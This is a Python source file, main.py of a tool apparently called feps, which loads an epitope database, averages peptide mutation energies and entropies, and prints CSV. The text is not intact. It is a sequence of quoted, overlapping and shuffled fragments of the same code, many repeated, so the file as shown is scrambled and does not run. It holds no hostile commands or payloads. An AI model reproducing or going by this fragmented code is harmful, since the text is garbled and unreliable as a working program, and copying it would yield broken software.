"<reponame>immunityproject/free-energy-post-substitution<gh_stars>0 \"\"\" main.py - main functionality for feps tool \"\"\" from __future__ import", "a map of epitopes -> epitopeinfo, [wt -> energies] Users can then iterate", "= ['{},{}'.format(i,ps[i]) for i in range(len(ps)) if ps[i] != '-'] v['structural_entropy'] = mean([v[k", "= load_db(database) amino_codes = [aa for aa in codes.values() if aa not in", "epitopedb[key]['chains'] = chain wt = entry['wt'] peptide_state = list(epitopedb[key].get('peptide_state', (\"-\" * len(peptide)))) idx", "epitope_energies[k] # Print header if not writer: writer = csv.DictWriter(sys.stdout, fieldnames=fieldnames, extrasaction='ignore') writer.writeheader()", "ignore_mutation] energies = combine_energy_mutations(db, amino_codes) energies = add_entropies(energies, amino_codes, include_absolute_entropy = True, include_boltzman_entropy=", "(\"-\" * len(peptide)))) idx = int(site)-int(startsite) if peptide_state[idx] != '-': eprint('Overwriting peptide state", "( entry['boltzman_shannon_entropy']) epitopedb[key][wtk + '-boltzman-absolute-entropy'] = ( entry['absolute_boltzman_shannon_entropy']) # Now average energy and", "'-boltzman-entropy'] for k in keys]) v['boltzman_absolute_structural_entropy'] = mean( [v[k + '-boltzman-absolute-entropy'] for k", "click import csv import sys from collections import defaultdict from feps.energy import load_db,combine_energy_mutations,codes,add_entropies", "\"\"\" epitopedb = defaultdict(dict) for _,entry in energies.items(): # Keys for the epitope", "includes the structural energie, which is the mean of the site entropies \"\"\"", "peptide epitopedb[key]['peptide_status'] = entry['peptide_status'] epitopedb[key]['startsite'] = int(startsite) epitopedb[key]['endsite'] = int(endsite) epitopedb[key]['protein'] = entry['protein']", "= mean([v[k + '-boltzman-entropy'] for k in keys]) v['boltzman_absolute_structural_entropy'] = mean( [v[k +", "Users can then iterate via the peptide chain to grab the energies in", "import mean def eprint(*args, **kwargs): print(*args, file=sys.stderr, **kwargs) def get_epitope_energies(energies): \"\"\"Create a map", "name = entry['epitope'] peptide = entry['peptide'] startsite = entry['start'] endsite = entry['end'] site", "energies in order This includes the structural energie, which is the mean of", "at this peptide index wtk = '{},{}'.format(idx,wt) epitopedb[key][wtk] = mean([entry[x] for x in", "site)) continue key = '{},{},{},{},{}'.format(name, peptide, startsite, endsite, chain) epitopedb[key]['epitope'] = name epitopedb[key]['peptide']", "= entry['chains'] if not name: eprint('Skipping site {} as it does not match", "= peptide epitopedb[key]['peptide_status'] = entry['peptide_status'] epitopedb[key]['startsite'] = int(startsite) epitopedb[key]['endsite'] = int(endsite) epitopedb[key]['protein'] =", "epitopedb[key][wtk + '-absolute-entropy'] = ( entry['absolute_shannon_entropy']) epitopedb[key][wtk + '-boltzman-entropy'] = ( entry['boltzman_shannon_entropy']) epitopedb[key][wtk", "the peptide chain to grab the energies in order This includes the structural", "-> energies] Users can then iterate via the peptide chain to grab the", "import load_db,combine_energy_mutations,codes,add_entropies from feps.entropy import mean def eprint(*args, **kwargs): print(*args, file=sys.stderr, **kwargs) def", "len(peptide)))) idx = int(site)-int(startsite) if peptide_state[idx] != '-': eprint('Overwriting peptide state {} at", "import defaultdict from feps.energy import load_db,combine_energy_mutations,codes,add_entropies from feps.entropy import mean def eprint(*args, **kwargs):", "help='URL to a jsonl encoded file to dump') @click.option('--ignore-mutation', default=[], multiple=True, type=click.Choice(codes.values()), help='Ignore", "load_db,combine_energy_mutations,codes,add_entropies from feps.entropy import mean def eprint(*args, **kwargs): print(*args, file=sys.stderr, **kwargs) def get_epitope_energies(energies):", "'{},{}'.format(idx,wt) epitopedb[key][wtk] = mean([entry[x] for x in codes.values() if x in entry]) epitopedb[key][wtk", "type=click.Choice(codes.values()), help='Ignore these mutations') def epitope_energies(database, ignore_mutation): db = load_db(database) amino_codes = [aa", "include_boltzman_entropy= True, include_absolute_boltzman_entropy= True) epitope_energies = get_epitope_energies(energies) sorted_keys = sorted(epitope_energies.keys(), key=lambda x: int(x.split(',')[2]))", "from feps.energy import load_db,combine_energy_mutations,codes,add_entropies from feps.entropy import mean def eprint(*args, **kwargs): print(*args, file=sys.stderr,", "for x in codes.values() if x in entry]) epitopedb[key][wtk + '-entropy'] = entry['shannon_entropy']", "'peptide', 'peptide_status', 'peptide_state', 'startsite', 'endsite', 'chains', 'average_energy', 'structural_entropy', 'absolute_structural_entropy', 'boltzman_structural_entropy', 'boltzman_absolute_structural_entropy'] writer =", "eprint(*args, **kwargs): print(*args, file=sys.stderr, **kwargs) def get_epitope_energies(energies): \"\"\"Create a map of epitopes ->", "mean([v[k + '-absolute-entropy'] for k in keys]) v['boltzman_structural_entropy'] = mean([v[k + '-boltzman-entropy'] for", "print_function import click import csv import sys from collections import defaultdict from feps.energy", "idx {}!'.format( ''.join(peptide_state), idx)) if peptide[idx] != wt: eprint('Peptide mismatch at {}: {}", "wt at this peptide index wtk = '{},{}'.format(idx,wt) epitopedb[key][wtk] = mean([entry[x] for x", "ps[i] != '-'] v['structural_entropy'] = mean([v[k + '-entropy'] for k in keys]) v['absolute_structural_entropy']", "epitopedb[key]['endsite'] = int(endsite) epitopedb[key]['protein'] = entry['protein'] epitopedb[key]['chains'] = chain wt = entry['wt'] peptide_state", "wt epitopedb[key]['peptide_state'] = ''.join(peptide_state) # Average energy for the wt at this peptide", "= ( entry['absolute_shannon_entropy']) epitopedb[key][wtk + '-boltzman-entropy'] = ( entry['boltzman_shannon_entropy']) epitopedb[key][wtk + '-boltzman-absolute-entropy'] =", "'absolute_structural_entropy', 'boltzman_structural_entropy', 'boltzman_absolute_structural_entropy'] writer = None for k in sorted_keys: v = epitope_energies[k]", "in keys]) return epitopedb @click.command() @click.option('--database', default='https://epitopedata.flowpharma.com/EpitopeData.json', help='URL to a jsonl encoded file", "then iterate via the peptide chain to grab the energies in order This", "'-entropy'] = entry['shannon_entropy'] epitopedb[key][wtk + '-absolute-entropy'] = ( entry['absolute_shannon_entropy']) epitopedb[key][wtk + '-boltzman-entropy'] =", "'peptide_state', 'startsite', 'endsite', 'chains', 'average_energy', 'structural_entropy', 'absolute_structural_entropy', 'boltzman_structural_entropy', 'boltzman_absolute_structural_entropy'] writer = None for", "not in ignore_mutation] energies = combine_energy_mutations(db, amino_codes) energies = add_entropies(energies, amino_codes, include_absolute_entropy =", "@click.option('--database', default='https://epitopedata.flowpharma.com/EpitopeData.json', help='URL to a jsonl encoded file to dump') @click.option('--ignore-mutation', default=[], multiple=True,", "\"\"\"Create a map of epitopes -> epitopeinfo, [wt -> energies] Users can then", "the mean of the site entropies \"\"\" epitopedb = defaultdict(dict) for _,entry in", "'-': eprint('Overwriting peptide state {} at idx {}!'.format( ''.join(peptide_state), idx)) if peptide[idx] !=", "for k in keys]) v['average_energy'] = mean([v[k] for k in keys]) return epitopedb", "[v[k + '-boltzman-absolute-entropy'] for k in keys]) v['average_energy'] = mean([v[k] for k in", "{}: {} expected, got {}'.format( idx, peptide[idx], wt)) peptide_state[idx] = wt epitopedb[key]['peptide_state'] =", "the epitope, so: # name, peptide, startsite, endsite name = entry['epitope'] peptide =", "print(*args, file=sys.stderr, **kwargs) def get_epitope_energies(energies): \"\"\"Create a map of epitopes -> epitopeinfo, [wt", "= int(site)-int(startsite) if peptide_state[idx] != '-': eprint('Overwriting peptide state {} at idx {}!'.format(", "energies = combine_energy_mutations(db, amino_codes) energies = add_entropies(energies, amino_codes, include_absolute_entropy = True, include_boltzman_entropy= True,", "dump') @click.option('--ignore-mutation', default=[], multiple=True, type=click.Choice(codes.values()), help='Ignore these mutations') def epitope_energies(database, ignore_mutation): db =", "import sys from collections import defaultdict from feps.energy import load_db,combine_energy_mutations,codes,add_entropies from feps.entropy import", "csv import sys from collections import defaultdict from feps.energy import load_db,combine_energy_mutations,codes,add_entropies from feps.entropy", "get_epitope_energies(energies): \"\"\"Create a map of epitopes -> epitopeinfo, [wt -> energies] Users can", "include_absolute_entropy = True, include_boltzman_entropy= True, include_absolute_boltzman_entropy= True) epitope_energies = get_epitope_energies(energies) sorted_keys = sorted(epitope_energies.keys(),", "This includes the structural energie, which is the mean of the site entropies", "average energy and structural entropy for _,v in epitopedb.items(): ps = v['peptide_state'] keys", "entry]) epitopedb[key][wtk + '-entropy'] = entry['shannon_entropy'] epitopedb[key][wtk + '-absolute-entropy'] = ( entry['absolute_shannon_entropy']) epitopedb[key][wtk", "**kwargs) def get_epitope_energies(energies): \"\"\"Create a map of epitopes -> epitopeinfo, [wt -> energies]", "'-boltzman-absolute-entropy'] = ( entry['absolute_boltzman_shannon_entropy']) # Now average energy and structural entropy for _,v", "functionality for feps tool \"\"\" from __future__ import print_function import click import csv", "= [ 'protein', 'epitope', 'peptide', 'peptide_status', 'peptide_state', 'startsite', 'endsite', 'chains', 'average_energy', 'structural_entropy', 'absolute_structural_entropy',", "db are unique to the epitope, so: # name, peptide, startsite, endsite name", "= epitope_energies[k] # Print header if not writer: writer = csv.DictWriter(sys.stdout, fieldnames=fieldnames, extrasaction='ignore')", "k in keys]) v['absolute_structural_entropy'] = mean([v[k + '-absolute-entropy'] for k in keys]) v['boltzman_structural_entropy']", "+ '-boltzman-absolute-entropy'] = ( entry['absolute_boltzman_shannon_entropy']) # Now average energy and structural entropy for", "True, include_absolute_boltzman_entropy= True) epitope_energies = get_epitope_energies(energies) sorted_keys = sorted(epitope_energies.keys(), key=lambda x: int(x.split(',')[2])) fieldnames", "writer: writer = csv.DictWriter(sys.stdout, fieldnames=fieldnames, extrasaction='ignore') writer.writeheader() writer.writerow(v) if __name__ == '__main__': epitope_energies()", "to a jsonl encoded file to dump') @click.option('--ignore-mutation', default=[], multiple=True, type=click.Choice(codes.values()), help='Ignore these", "main functionality for feps tool \"\"\" from __future__ import print_function import click import", "= mean( [v[k + '-boltzman-absolute-entropy'] for k in keys]) v['average_energy'] = mean([v[k] for", "entropies \"\"\" epitopedb = defaultdict(dict) for _,entry in energies.items(): # Keys for the", "= int(startsite) epitopedb[key]['endsite'] = int(endsite) epitopedb[key]['protein'] = entry['protein'] epitopedb[key]['chains'] = chain wt =", "epitope, so: # name, peptide, startsite, endsite name = entry['epitope'] peptide = entry['peptide']", "in keys]) v['boltzman_absolute_structural_entropy'] = mean( [v[k + '-boltzman-absolute-entropy'] for k in keys]) v['average_energy']", "{} as it does not match an epitope'.format( site)) continue key = '{},{},{},{},{}'.format(name,", "from collections import defaultdict from feps.energy import load_db,combine_energy_mutations,codes,add_entropies from feps.entropy import mean def", "of the site entropies \"\"\" epitopedb = defaultdict(dict) for _,entry in energies.items(): #", "default=[], multiple=True, type=click.Choice(codes.values()), help='Ignore these mutations') def epitope_energies(database, ignore_mutation): db = load_db(database) amino_codes", "x in entry]) epitopedb[key][wtk + '-entropy'] = entry['shannon_entropy'] epitopedb[key][wtk + '-absolute-entropy'] = (", "# Average energy for the wt at this peptide index wtk = '{},{}'.format(idx,wt)", "entry['absolute_boltzman_shannon_entropy']) # Now average energy and structural entropy for _,v in epitopedb.items(): ps", "{}'.format( idx, peptide[idx], wt)) peptide_state[idx] = wt epitopedb[key]['peptide_state'] = ''.join(peptide_state) # Average energy", "sorted_keys: v = epitope_energies[k] # Print header if not writer: writer = csv.DictWriter(sys.stdout,", "eprint('Skipping site {} as it does not match an epitope'.format( site)) continue key", "can then iterate via the peptide chain to grab the energies in order", "encoded file to dump') @click.option('--ignore-mutation', default=[], multiple=True, type=click.Choice(codes.values()), help='Ignore these mutations') def epitope_energies(database,", "epitope_energies(database, ignore_mutation): db = load_db(database) amino_codes = [aa for aa in codes.values() if", "add_entropies(energies, amino_codes, include_absolute_entropy = True, include_boltzman_entropy= True, include_absolute_boltzman_entropy= True) epitope_energies = get_epitope_energies(energies) sorted_keys", "ignore_mutation): db = load_db(database) amino_codes = [aa for aa in codes.values() if aa", "if peptide_state[idx] != '-': eprint('Overwriting peptide state {} at idx {}!'.format( ''.join(peptide_state), idx))", "startsite, endsite name = entry['epitope'] peptide = entry['peptide'] startsite = entry['start'] endsite =", "mean([v[k] for k in keys]) return epitopedb @click.command() @click.option('--database', default='https://epitopedata.flowpharma.com/EpitopeData.json', help='URL to a", "not name: eprint('Skipping site {} as it does not match an epitope'.format( site))", "''.join(peptide_state), idx)) if peptide[idx] != wt: eprint('Peptide mismatch at {}: {} expected, got", "not match an epitope'.format( site)) continue key = '{},{},{},{},{}'.format(name, peptide, startsite, endsite, chain)", "the epitope db are unique to the epitope, so: # name, peptide, startsite,", "'peptide_status', 'peptide_state', 'startsite', 'endsite', 'chains', 'average_energy', 'structural_entropy', 'absolute_structural_entropy', 'boltzman_structural_entropy', 'boltzman_absolute_structural_entropy'] writer = None", "# Keys for the epitope db are unique to the epitope, so: #", "None for k in sorted_keys: v = epitope_energies[k] # Print header if not", "peptide[idx] != wt: eprint('Peptide mismatch at {}: {} expected, got {}'.format( idx, peptide[idx],", "= list(epitopedb[key].get('peptide_state', (\"-\" * len(peptide)))) idx = int(site)-int(startsite) if peptide_state[idx] != '-': eprint('Overwriting", "( entry['absolute_boltzman_shannon_entropy']) # Now average energy and structural entropy for _,v in epitopedb.items():", "entry['peptide'] startsite = entry['start'] endsite = entry['end'] site = entry['site'] chain = entry['chains']", "does not match an epitope'.format( site)) continue key = '{},{},{},{},{}'.format(name, peptide, startsite, endsite,", "int(site)-int(startsite) if peptide_state[idx] != '-': eprint('Overwriting peptide state {} at idx {}!'.format( ''.join(peptide_state),", "v['peptide_state'] keys = ['{},{}'.format(i,ps[i]) for i in range(len(ps)) if ps[i] != '-'] v['structural_entropy']", "sorted_keys = sorted(epitope_energies.keys(), key=lambda x: int(x.split(',')[2])) fieldnames = [ 'protein', 'epitope', 'peptide', 'peptide_status',", "for _,entry in energies.items(): # Keys for the epitope db are unique to", "x in codes.values() if x in entry]) epitopedb[key][wtk + '-entropy'] = entry['shannon_entropy'] epitopedb[key][wtk", "startsite = entry['start'] endsite = entry['end'] site = entry['site'] chain = entry['chains'] if", "= entry['site'] chain = entry['chains'] if not name: eprint('Skipping site {} as it", "wt = entry['wt'] peptide_state = list(epitopedb[key].get('peptide_state', (\"-\" * len(peptide)))) idx = int(site)-int(startsite) if", "name epitopedb[key]['peptide'] = peptide epitopedb[key]['peptide_status'] = entry['peptide_status'] epitopedb[key]['startsite'] = int(startsite) epitopedb[key]['endsite'] = int(endsite)", "[aa for aa in codes.values() if aa not in ignore_mutation] energies = combine_energy_mutations(db,", "= None for k in sorted_keys: v = epitope_energies[k] # Print header if", "+ '-absolute-entropy'] = ( entry['absolute_shannon_entropy']) epitopedb[key][wtk + '-boltzman-entropy'] = ( entry['boltzman_shannon_entropy']) epitopedb[key][wtk +", "'boltzman_absolute_structural_entropy'] writer = None for k in sorted_keys: v = epitope_energies[k] # Print", "- main functionality for feps tool \"\"\" from __future__ import print_function import click", "site = entry['site'] chain = entry['chains'] if not name: eprint('Skipping site {} as", "epitopedb[key]['peptide_status'] = entry['peptide_status'] epitopedb[key]['startsite'] = int(startsite) epitopedb[key]['endsite'] = int(endsite) epitopedb[key]['protein'] = entry['protein'] epitopedb[key]['chains']", "wt: eprint('Peptide mismatch at {}: {} expected, got {}'.format( idx, peptide[idx], wt)) peptide_state[idx]", "int(endsite) epitopedb[key]['protein'] = entry['protein'] epitopedb[key]['chains'] = chain wt = entry['wt'] peptide_state = list(epitopedb[key].get('peptide_state',", "in order This includes the structural energie, which is the mean of the", "site entropies \"\"\" epitopedb = defaultdict(dict) for _,entry in energies.items(): # Keys for", "= chain wt = entry['wt'] peptide_state = list(epitopedb[key].get('peptide_state', (\"-\" * len(peptide)))) idx =", "continue key = '{},{},{},{},{}'.format(name, peptide, startsite, endsite, chain) epitopedb[key]['epitope'] = name epitopedb[key]['peptide'] =", "defaultdict(dict) for _,entry in energies.items(): # Keys for the epitope db are unique", "iterate via the peptide chain to grab the energies in order This includes", "from __future__ import print_function import click import csv import sys from collections import", "for k in keys]) v['boltzman_absolute_structural_entropy'] = mean( [v[k + '-boltzman-absolute-entropy'] for k in", "match an epitope'.format( site)) continue key = '{},{},{},{},{}'.format(name, peptide, startsite, endsite, chain) epitopedb[key]['epitope']", "mean([v[k + '-entropy'] for k in keys]) v['absolute_structural_entropy'] = mean([v[k + '-absolute-entropy'] for", "mean([v[k + '-boltzman-entropy'] for k in keys]) v['boltzman_absolute_structural_entropy'] = mean( [v[k + '-boltzman-absolute-entropy']", "epitopeinfo, [wt -> energies] Users can then iterate via the peptide chain to", "epitopedb[key][wtk + '-boltzman-entropy'] = ( entry['boltzman_shannon_entropy']) epitopedb[key][wtk + '-boltzman-absolute-entropy'] = ( entry['absolute_boltzman_shannon_entropy']) #", "_,entry in energies.items(): # Keys for the epitope db are unique to the", "''.join(peptide_state) # Average energy for the wt at this peptide index wtk =", "def eprint(*args, **kwargs): print(*args, file=sys.stderr, **kwargs) def get_epitope_energies(energies): \"\"\"Create a map of epitopes", "import print_function import click import csv import sys from collections import defaultdict from", "it does not match an epitope'.format( site)) continue key = '{},{},{},{},{}'.format(name, peptide, startsite,", "keys]) v['boltzman_absolute_structural_entropy'] = mean( [v[k + '-boltzman-absolute-entropy'] for k in keys]) v['average_energy'] =", "get_epitope_energies(energies) sorted_keys = sorted(epitope_energies.keys(), key=lambda x: int(x.split(',')[2])) fieldnames = [ 'protein', 'epitope', 'peptide',", "if not name: eprint('Skipping site {} as it does not match an epitope'.format(", "amino_codes = [aa for aa in codes.values() if aa not in ignore_mutation] energies", "chain to grab the energies in order This includes the structural energie, which", "fieldnames = [ 'protein', 'epitope', 'peptide', 'peptide_status', 'peptide_state', 'startsite', 'endsite', 'chains', 'average_energy', 'structural_entropy',", "site {} as it does not match an epitope'.format( site)) continue key =", "epitopedb @click.command() @click.option('--database', default='https://epitopedata.flowpharma.com/EpitopeData.json', help='URL to a jsonl encoded file to dump') @click.option('--ignore-mutation',", "peptide, startsite, endsite, chain) epitopedb[key]['epitope'] = name epitopedb[key]['peptide'] = peptide epitopedb[key]['peptide_status'] = entry['peptide_status']", "'-absolute-entropy'] for k in keys]) v['boltzman_structural_entropy'] = mean([v[k + '-boltzman-entropy'] for k in", "= ( entry['boltzman_shannon_entropy']) epitopedb[key][wtk + '-boltzman-absolute-entropy'] = ( entry['absolute_boltzman_shannon_entropy']) # Now average energy", "def get_epitope_energies(energies): \"\"\"Create a map of epitopes -> epitopeinfo, [wt -> energies] Users", "epitopedb = defaultdict(dict) for _,entry in energies.items(): # Keys for the epitope db", "+ '-boltzman-absolute-entropy'] for k in keys]) v['average_energy'] = mean([v[k] for k in keys])", "header if not writer: writer = csv.DictWriter(sys.stdout, fieldnames=fieldnames, extrasaction='ignore') writer.writeheader() writer.writerow(v) if __name__", "\"\"\" from __future__ import print_function import click import csv import sys from collections", "= mean([entry[x] for x in codes.values() if x in entry]) epitopedb[key][wtk + '-entropy']", "= combine_energy_mutations(db, amino_codes) energies = add_entropies(energies, amino_codes, include_absolute_entropy = True, include_boltzman_entropy= True, include_absolute_boltzman_entropy=", "endsite = entry['end'] site = entry['site'] chain = entry['chains'] if not name: eprint('Skipping", "codes.values() if aa not in ignore_mutation] energies = combine_energy_mutations(db, amino_codes) energies = add_entropies(energies,", "= entry['peptide_status'] epitopedb[key]['startsite'] = int(startsite) epitopedb[key]['endsite'] = int(endsite) epitopedb[key]['protein'] = entry['protein'] epitopedb[key]['chains'] =", "epitopes -> epitopeinfo, [wt -> energies] Users can then iterate via the peptide", "['{},{}'.format(i,ps[i]) for i in range(len(ps)) if ps[i] != '-'] v['structural_entropy'] = mean([v[k +", "epitopedb[key]['peptide_state'] = ''.join(peptide_state) # Average energy for the wt at this peptide index", "as it does not match an epitope'.format( site)) continue key = '{},{},{},{},{}'.format(name, peptide,", "idx = int(site)-int(startsite) if peptide_state[idx] != '-': eprint('Overwriting peptide state {} at idx", "if not writer: writer = csv.DictWriter(sys.stdout, fieldnames=fieldnames, extrasaction='ignore') writer.writeheader() writer.writerow(v) if __name__ ==", "'-boltzman-absolute-entropy'] for k in keys]) v['average_energy'] = mean([v[k] for k in keys]) return", "is the mean of the site entropies \"\"\" epitopedb = defaultdict(dict) for _,entry", "* len(peptide)))) idx = int(site)-int(startsite) if peptide_state[idx] != '-': eprint('Overwriting peptide state {}", "which is the mean of the site entropies \"\"\" epitopedb = defaultdict(dict) for", "__future__ import print_function import click import csv import sys from collections import defaultdict", "entry['shannon_entropy'] epitopedb[key][wtk + '-absolute-entropy'] = ( entry['absolute_shannon_entropy']) epitopedb[key][wtk + '-boltzman-entropy'] = ( entry['boltzman_shannon_entropy'])", "map of epitopes -> epitopeinfo, [wt -> energies] Users can then iterate via", "import click import csv import sys from collections import defaultdict from feps.energy import", "keys = ['{},{}'.format(i,ps[i]) for i in range(len(ps)) if ps[i] != '-'] v['structural_entropy'] =", "int(x.split(',')[2])) fieldnames = [ 'protein', 'epitope', 'peptide', 'peptide_status', 'peptide_state', 'startsite', 'endsite', 'chains', 'average_energy',", "codes.values() if x in entry]) epitopedb[key][wtk + '-entropy'] = entry['shannon_entropy'] epitopedb[key][wtk + '-absolute-entropy']", "entry['peptide_status'] epitopedb[key]['startsite'] = int(startsite) epitopedb[key]['endsite'] = int(endsite) epitopedb[key]['protein'] = entry['protein'] epitopedb[key]['chains'] = chain", "k in keys]) v['boltzman_structural_entropy'] = mean([v[k + '-boltzman-entropy'] for k in keys]) v['boltzman_absolute_structural_entropy']", "'-absolute-entropy'] = ( entry['absolute_shannon_entropy']) epitopedb[key][wtk + '-boltzman-entropy'] = ( entry['boltzman_shannon_entropy']) epitopedb[key][wtk + '-boltzman-absolute-entropy']", "state {} at idx {}!'.format( ''.join(peptide_state), idx)) if peptide[idx] != wt: eprint('Peptide mismatch", "for i in range(len(ps)) if ps[i] != '-'] v['structural_entropy'] = mean([v[k + '-entropy']", "= mean([v[k + '-absolute-entropy'] for k in keys]) v['boltzman_structural_entropy'] = mean([v[k + '-boltzman-entropy']", "energie, which is the mean of the site entropies \"\"\" epitopedb = defaultdict(dict)", "( entry['absolute_shannon_entropy']) epitopedb[key][wtk + '-boltzman-entropy'] = ( entry['boltzman_shannon_entropy']) epitopedb[key][wtk + '-boltzman-absolute-entropy'] = (", "peptide[idx], wt)) peptide_state[idx] = wt epitopedb[key]['peptide_state'] = ''.join(peptide_state) # Average energy for the", "'{},{},{},{},{}'.format(name, peptide, startsite, endsite, chain) epitopedb[key]['epitope'] = name epitopedb[key]['peptide'] = peptide epitopedb[key]['peptide_status'] =", "for k in sorted_keys: v = epitope_energies[k] # Print header if not writer:", "= entry['epitope'] peptide = entry['peptide'] startsite = entry['start'] endsite = entry['end'] site =", "= mean([v[k] for k in keys]) return epitopedb @click.command() @click.option('--database', default='https://epitopedata.flowpharma.com/EpitopeData.json', help='URL to", "structural energie, which is the mean of the site entropies \"\"\" epitopedb =", "entry['protein'] epitopedb[key]['chains'] = chain wt = entry['wt'] peptide_state = list(epitopedb[key].get('peptide_state', (\"-\" * len(peptide))))", "entry['absolute_shannon_entropy']) epitopedb[key][wtk + '-boltzman-entropy'] = ( entry['boltzman_shannon_entropy']) epitopedb[key][wtk + '-boltzman-absolute-entropy'] = ( entry['absolute_boltzman_shannon_entropy'])", "Keys for the epitope db are unique to the epitope, so: # name,", "= int(endsite) epitopedb[key]['protein'] = entry['protein'] epitopedb[key]['chains'] = chain wt = entry['wt'] peptide_state =", "keys]) return epitopedb @click.command() @click.option('--database', default='https://epitopedata.flowpharma.com/EpitopeData.json', help='URL to a jsonl encoded file to", "multiple=True, type=click.Choice(codes.values()), help='Ignore these mutations') def epitope_energies(database, ignore_mutation): db = load_db(database) amino_codes =", "idx)) if peptide[idx] != wt: eprint('Peptide mismatch at {}: {} expected, got {}'.format(", "= '{},{},{},{},{}'.format(name, peptide, startsite, endsite, chain) epitopedb[key]['epitope'] = name epitopedb[key]['peptide'] = peptide epitopedb[key]['peptide_status']", "\"\"\" main.py - main functionality for feps tool \"\"\" from __future__ import print_function", "= True, include_boltzman_entropy= True, include_absolute_boltzman_entropy= True) epitope_energies = get_epitope_energies(energies) sorted_keys = sorted(epitope_energies.keys(), key=lambda", "!= '-'] v['structural_entropy'] = mean([v[k + '-entropy'] for k in keys]) v['absolute_structural_entropy'] =", "{}!'.format( ''.join(peptide_state), idx)) if peptide[idx] != wt: eprint('Peptide mismatch at {}: {} expected,", "amino_codes, include_absolute_entropy = True, include_boltzman_entropy= True, include_absolute_boltzman_entropy= True) epitope_energies = get_epitope_energies(energies) sorted_keys =", "= ''.join(peptide_state) # Average energy for the wt at this peptide index wtk", "the site entropies \"\"\" epitopedb = defaultdict(dict) for _,entry in energies.items(): # Keys", "mismatch at {}: {} expected, got {}'.format( idx, peptide[idx], wt)) peptide_state[idx] = wt", "and structural entropy for _,v in epitopedb.items(): ps = v['peptide_state'] keys = ['{},{}'.format(i,ps[i])", "i in range(len(ps)) if ps[i] != '-'] v['structural_entropy'] = mean([v[k + '-entropy'] for", "in keys]) v['absolute_structural_entropy'] = mean([v[k + '-absolute-entropy'] for k in keys]) v['boltzman_structural_entropy'] =", "@click.option('--ignore-mutation', default=[], multiple=True, type=click.Choice(codes.values()), help='Ignore these mutations') def epitope_energies(database, ignore_mutation): db = load_db(database)", "if aa not in ignore_mutation] energies = combine_energy_mutations(db, amino_codes) energies = add_entropies(energies, amino_codes,", "help='Ignore these mutations') def epitope_energies(database, ignore_mutation): db = load_db(database) amino_codes = [aa for", "tool \"\"\" from __future__ import print_function import click import csv import sys from", "in keys]) v['boltzman_structural_entropy'] = mean([v[k + '-boltzman-entropy'] for k in keys]) v['boltzman_absolute_structural_entropy'] =", "list(epitopedb[key].get('peptide_state', (\"-\" * len(peptide)))) idx = int(site)-int(startsite) if peptide_state[idx] != '-': eprint('Overwriting peptide", "'endsite', 'chains', 'average_energy', 'structural_entropy', 'absolute_structural_entropy', 'boltzman_structural_entropy', 'boltzman_absolute_structural_entropy'] writer = None for k in", "def epitope_energies(database, ignore_mutation): db = load_db(database) amino_codes = [aa for aa in codes.values()", "to grab the energies in order This includes the structural energie, which is", "= entry['end'] site = entry['site'] chain = entry['chains'] if not name: eprint('Skipping site", "epitopedb[key][wtk + '-entropy'] = entry['shannon_entropy'] epitopedb[key][wtk + '-absolute-entropy'] = ( entry['absolute_shannon_entropy']) epitopedb[key][wtk +", "= '{},{}'.format(idx,wt) epitopedb[key][wtk] = mean([entry[x] for x in codes.values() if x in entry])", "mutations') def epitope_energies(database, ignore_mutation): db = load_db(database) amino_codes = [aa for aa in", "sorted(epitope_energies.keys(), key=lambda x: int(x.split(',')[2])) fieldnames = [ 'protein', 'epitope', 'peptide', 'peptide_status', 'peptide_state', 'startsite',", "aa not in ignore_mutation] energies = combine_energy_mutations(db, amino_codes) energies = add_entropies(energies, amino_codes, include_absolute_entropy", "idx, peptide[idx], wt)) peptide_state[idx] = wt epitopedb[key]['peptide_state'] = ''.join(peptide_state) # Average energy for", "to dump') @click.option('--ignore-mutation', default=[], multiple=True, type=click.Choice(codes.values()), help='Ignore these mutations') def epitope_energies(database, ignore_mutation): db", "[wt -> energies] Users can then iterate via the peptide chain to grab", "k in keys]) v['average_energy'] = mean([v[k] for k in keys]) return epitopedb @click.command()", "combine_energy_mutations(db, amino_codes) energies = add_entropies(energies, amino_codes, include_absolute_entropy = True, include_boltzman_entropy= True, include_absolute_boltzman_entropy= True)", "= add_entropies(energies, amino_codes, include_absolute_entropy = True, include_boltzman_entropy= True, include_absolute_boltzman_entropy= True) epitope_energies = get_epitope_energies(energies)", "this peptide index wtk = '{},{}'.format(idx,wt) epitopedb[key][wtk] = mean([entry[x] for x in codes.values()", "energy for the wt at this peptide index wtk = '{},{}'.format(idx,wt) epitopedb[key][wtk] =", "'-'] v['structural_entropy'] = mean([v[k + '-entropy'] for k in keys]) v['absolute_structural_entropy'] = mean([v[k", "'chains', 'average_energy', 'structural_entropy', 'absolute_structural_entropy', 'boltzman_structural_entropy', 'boltzman_absolute_structural_entropy'] writer = None for k in sorted_keys:", "for feps tool \"\"\" from __future__ import print_function import click import csv import", "Now average energy and structural entropy for _,v in epitopedb.items(): ps = v['peptide_state']", "feps.entropy import mean def eprint(*args, **kwargs): print(*args, file=sys.stderr, **kwargs) def get_epitope_energies(energies): \"\"\"Create a", "[ 'protein', 'epitope', 'peptide', 'peptide_status', 'peptide_state', 'startsite', 'endsite', 'chains', 'average_energy', 'structural_entropy', 'absolute_structural_entropy', 'boltzman_structural_entropy',", "= name epitopedb[key]['peptide'] = peptide epitopedb[key]['peptide_status'] = entry['peptide_status'] epitopedb[key]['startsite'] = int(startsite) epitopedb[key]['endsite'] =", "feps.energy import load_db,combine_energy_mutations,codes,add_entropies from feps.entropy import mean def eprint(*args, **kwargs): print(*args, file=sys.stderr, **kwargs)", "for _,v in epitopedb.items(): ps = v['peptide_state'] keys = ['{},{}'.format(i,ps[i]) for i in", "eprint('Peptide mismatch at {}: {} expected, got {}'.format( idx, peptide[idx], wt)) peptide_state[idx] =", "v['structural_entropy'] = mean([v[k + '-entropy'] for k in keys]) v['absolute_structural_entropy'] = mean([v[k +", "if peptide[idx] != wt: eprint('Peptide mismatch at {}: {} expected, got {}'.format( idx,", "name, peptide, startsite, endsite name = entry['epitope'] peptide = entry['peptide'] startsite = entry['start']", "these mutations') def epitope_energies(database, ignore_mutation): db = load_db(database) amino_codes = [aa for aa", "epitope'.format( site)) continue key = '{},{},{},{},{}'.format(name, peptide, startsite, endsite, chain) epitopedb[key]['epitope'] = name", "peptide state {} at idx {}!'.format( ''.join(peptide_state), idx)) if peptide[idx] != wt: eprint('Peptide", "in codes.values() if aa not in ignore_mutation] energies = combine_energy_mutations(db, amino_codes) energies =", "# Now average energy and structural entropy for _,v in epitopedb.items(): ps =", "structural entropy for _,v in epitopedb.items(): ps = v['peptide_state'] keys = ['{},{}'.format(i,ps[i]) for", "energy and structural entropy for _,v in 